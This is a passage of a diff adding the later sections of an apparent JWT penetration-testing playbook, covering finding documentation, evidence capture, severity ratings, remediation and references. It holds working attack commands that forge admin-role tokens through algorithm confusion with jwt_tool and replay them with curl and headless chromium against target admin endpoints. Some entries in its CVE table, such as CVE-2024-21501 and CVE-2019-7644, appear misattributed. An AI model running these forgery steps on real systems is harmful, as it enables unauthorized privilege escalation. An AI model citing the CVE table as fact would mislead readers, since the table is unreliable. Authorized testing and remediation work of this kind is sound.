+ "algorithm_confusion": "Use a single, fixed algorithm. Never derive verification method from the token header. Use separate key objects per algorithm.",
1153
+ "weak_secret": "Use cryptographically random secrets of at least 256 bits. Prefer asymmetric algorithms (RS256, ES256) for production.",
1154
+ "kid_sqli": "Use parameterized queries when loading keys by kid. Validate kid against an allowlist of known key IDs.",
1155
+ "kid_traversal": "Validate kid header against an allowlist. Never use kid as a file path directly.",
1156
+ "jwk_injection": "Ignore the 'jwk' header. Use a pre-configured, trusted key set for verification.",
1157
+ "jku_injection": "Ignore the 'jku' header or validate it against an allowlist of trusted key set URLs.",
1158
+ }
1159
+
1160
+ def document_finding(attack_type, target, endpoint, original_token, forged_token, response_evidence):
1161
+ finding = FINDING_TEMPLATE.copy()
1162
+ finding["finding_type"] = attack_type
1163
+ finding["target"] = target
1164
+ finding["affected_endpoint"] = endpoint
1165
+ finding["remediation"] = ATTACK_REMEDIATION.get(attack_type, "Review JWT implementation.")
1166
+ finding["evidence"] = {
1167
+ "original_token": original_token,
1168
+ "forged_token": forged_token,
1169
+ "response": response_evidence
1170
+ }
1171
+
1172
+ filename = f"finding_jwt_{attack_type}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
1173
+ with open(filename, 'w') as f:
1174
+ json.dump(finding, f, indent=2)
1175
+ print(f"[+] Finding documented: {filename}")
1176
+ return filename
1177
+
1178
+ if __name__ == "__main__":
1179
+ # Example usage
1180
+ document_finding(
1181
+ attack_type="algorithm_confusion",
1182
+ target="https://api.target.com",
1183
+ endpoint="/api/v1/admin",
1184
+ original_token="eyJ...",
1185
+ forged_token="eyJ...",
1186
+ response_evidence="HTTP 200 OK — Admin panel returned"
1187
+ )
1188
+ ```
1189
+
1190
+ ### Environment Variables for RTExit
1191
+
1192
+ ```bash
1193
+ # Set these before running JWT attacks for autodoc integration
1194
+ export RTEXIT_TARGET="https://api.target.com"
1195
+ export RTEXIT_ENGAGEMENT="ENG-2024-001"
1196
+ export RTEXIT_OPERATOR=$(whoami)
1197
+ export RTEXIT_OUTPUT_DIR="./findings/jwt"
1198
+ mkdir -p $RTEXIT_OUTPUT_DIR
1199
+
1200
+ # Run jwt_tool and pipe to RTExit logger
1201
+ python3 jwt_tool.py $TOKEN --scan \
1202
+ -t $RTEXIT_TARGET/api/protected \
1203
+ -rh "Authorization: Bearer $TOKEN" \
1204
+ -o json 2>&1 | tee $RTEXIT_OUTPUT_DIR/scan_$(date +%Y%m%d_%H%M%S).json
1205
+ ```
1206
+
1207
+ ---
1208
+
1209
+ ## 9. Output and Documentation Instructions
1210
+
1211
+ ### Evidence Collection Standards
1212
+
1213
+ Every JWT attack must be documented with:
1214
+
1215
+ 1. **Original token** (captured from the application)
1216
+ 2. **Decoded header and payload** (output from jwt_tool -p)
1217
+ 3. **Attack command** (exact command used)
1218
+ 4. **Forged token** (output of the attack)
1219
+ 5. **Proof of exploitation** (HTTP request and response showing the forged token was accepted)
1220
+ 6. **Impact statement** (what data/function was accessible)
1221
+
1222
+ ### Capturing Evidence
1223
+
1224
+ ```bash
1225
+ # Decode and save token inspection
1226
+ python3 jwt_tool.py $TOKEN -p > evidence/token_decoded.txt 2>&1
1227
+
1228
+ # Run attack and capture output
1229
+ python3 jwt_tool.py $TOKEN -X k -pk public.pem \
1230
+ -I -pc role -pv admin \
1231
+ 2>&1 | tee evidence/attack_output.txt
1232
+
1233
+ # Capture HTTP response
1234
+ FORGED=$(python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc role -pv admin 2>&1 | grep "^eyJ" | tail -1)
1235
+
1236
+ curl -v -H "Authorization: Bearer $FORGED" \
1237
+ https://target.com/api/admin \
1238
+ 2>&1 | tee evidence/http_response.txt
1239
+
1240
+ # Screenshot (if using headless browser)
1241
+ chromium --headless --screenshot=evidence/screenshot.png \
1242
+ --extra-headers="Authorization: Bearer $FORGED" \
1243
+ https://target.com/admin
1244
+ ```
1245
+
1246
+ ### Severity Rating Guide
1247
+
1248
+ | Attack | Base Severity | Escalation Conditions |
1249
+ |---|---|---|
1250
+ | None algorithm — auth bypass | CRITICAL | Always |
1251
+ | Algorithm confusion — privilege escalation | CRITICAL | Always |
1252
+ | Weak secret — token forgery | CRITICAL | If admin claim achievable |
1253
+ | kid SQL injection | CRITICAL | If schema exfiltration possible |
1254
+ | kid path traversal — /dev/null | HIGH | Depends on data accessed |
1255
+ | JWK injection | HIGH-CRITICAL | Depends on privilege achieved |
1256
+ | jku/x5u injection | HIGH-CRITICAL | Depends on privilege achieved |
1257
+ | Expiry manipulation | MEDIUM | Extends session only |
1258
+
1259
+ ### Remediation Recommendations Template
1260
+
1261
+ ```markdown
1262
+ ## Remediation Recommendations — JWT Implementation
1263
+
1264
+ ### Immediate Actions (Critical)
1265
+ 1. Rotate all signing keys immediately
1266
+ 2. Invalidate all existing JWT sessions
1267
+ 3. Update the JWT library to the latest version
1268
+
1269
+ ### Short-term Fixes (within 1 sprint)
1270
+ 1. Enforce algorithm allowlist: only accept RS256 or HS256 — never both
1271
+ 2. Validate `kid` against a pre-configured map of known key IDs
1272
+ 3. Ignore `jwk`, `jku`, `x5u` header parameters in token verification
1273
+ 4. Use minimum 256-bit random secrets for HMAC algorithms
1274
+
1275
+ ### Long-term Security Posture
1276
+ 1. Implement JWT revocation (short expiry + refresh token rotation)
1277
+ 2. Add monitoring for algorithm downgrade attempts
1278
+ 3. Conduct annual JWT implementation review
1279
+ 4. Consider moving to opaque session tokens for internal APIs
1280
+ ```
1281
+
1282
+ ---
1283
+
1284
+ ## 10. Resources
1285
+
1286
+ ### Primary Tools
1287
+
1288
+ - **jwt_tool** — https://github.com/ticarpi/jwt_tool
1289
+ - **hashcat** — https://github.com/hashcat/hashcat
1290
+ - **PyJWT** — https://github.com/jpadilla/pyjwt
1291
+ - **python-jose** — https://github.com/mpdavis/python-jose
1292
+ - **jose (npm)** — https://github.com/panva/jose
1293
+
1294
+ ### Wordlists
1295
+
1296
+ - **jwt-secrets** — https://github.com/wallarm/jwt-secrets
1297
+ - **SecLists JWT** — https://github.com/danielmiessler/SecLists/tree/master/Passwords/scraped-JWT-secrets.txt
1298
+ - **rockyou** — standard inclusion in Kali Linux
1299
+
1300
+ ### References and Research
1301
+
1302
+ - **PortSwigger JWT Labs** — https://portswigger.net/web-security/jwt
1303
+ - **JWT Attack Cheatsheet** — https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
1304
+ - **Auth0 Critical Vulnerabilities** — https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
1305
+ - **RFC 7519 (JWT)** — https://datatracker.ietf.org/doc/html/rfc7519
1306
+ - **RFC 7517 (JWK)** — https://datatracker.ietf.org/doc/html/rfc7517
1307
+ - **RFC 7518 (JWA)** — https://datatracker.ietf.org/doc/html/rfc7518
1308
+ - **CVE-2015-9235** — none algorithm bypass in node-jsonwebtoken
1309
+ - **CVE-2022-21449** — ECDSA signature bypass (Psychic Signatures) in Java
1310
+ - **Attacking JWT** (Inon Shkedy) — https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe1c862ea
1311
+
1312
+ ### Lab Environments
1313
+
1314
+ - **PortSwigger Web Security Academy** — https://portswigger.net/web-security/jwt (free labs)
1315
+ - **DVJA (Damn Vulnerable JWT App)** — https://github.com/cyberw0lf/dvja
1316
+ - **jwt-security-research** — https://github.com/ticarpi/jwt_tool/wiki
1317
+
1318
+ ### CVE Reference for Reports
1319
+
1320
+ | CVE | Description | Affected |
1321
+ |---|---|---|
1322
+ | CVE-2015-9235 | none algorithm bypass | node-jsonwebtoken < 4.2.2 |
1323
+ | CVE-2016-10555 | RS/ES to HS confusion | node-jsonwebtoken |
1324
+ | CVE-2018-0114 | Key confusion | Cisco node-jose |
1325
+ | CVE-2019-7644 | Auth0 jwt-simple signature bypass | jwt-simple < 0.5.6 |
1326
+ | CVE-2022-21449 | ECDSA blank signature (Psychic Signatures) | Java <= 15.0.6, 17.0.2 |
1327
+ | CVE-2024-21501 | algorithm confusion | jsonwebtoken < 9.0.0 |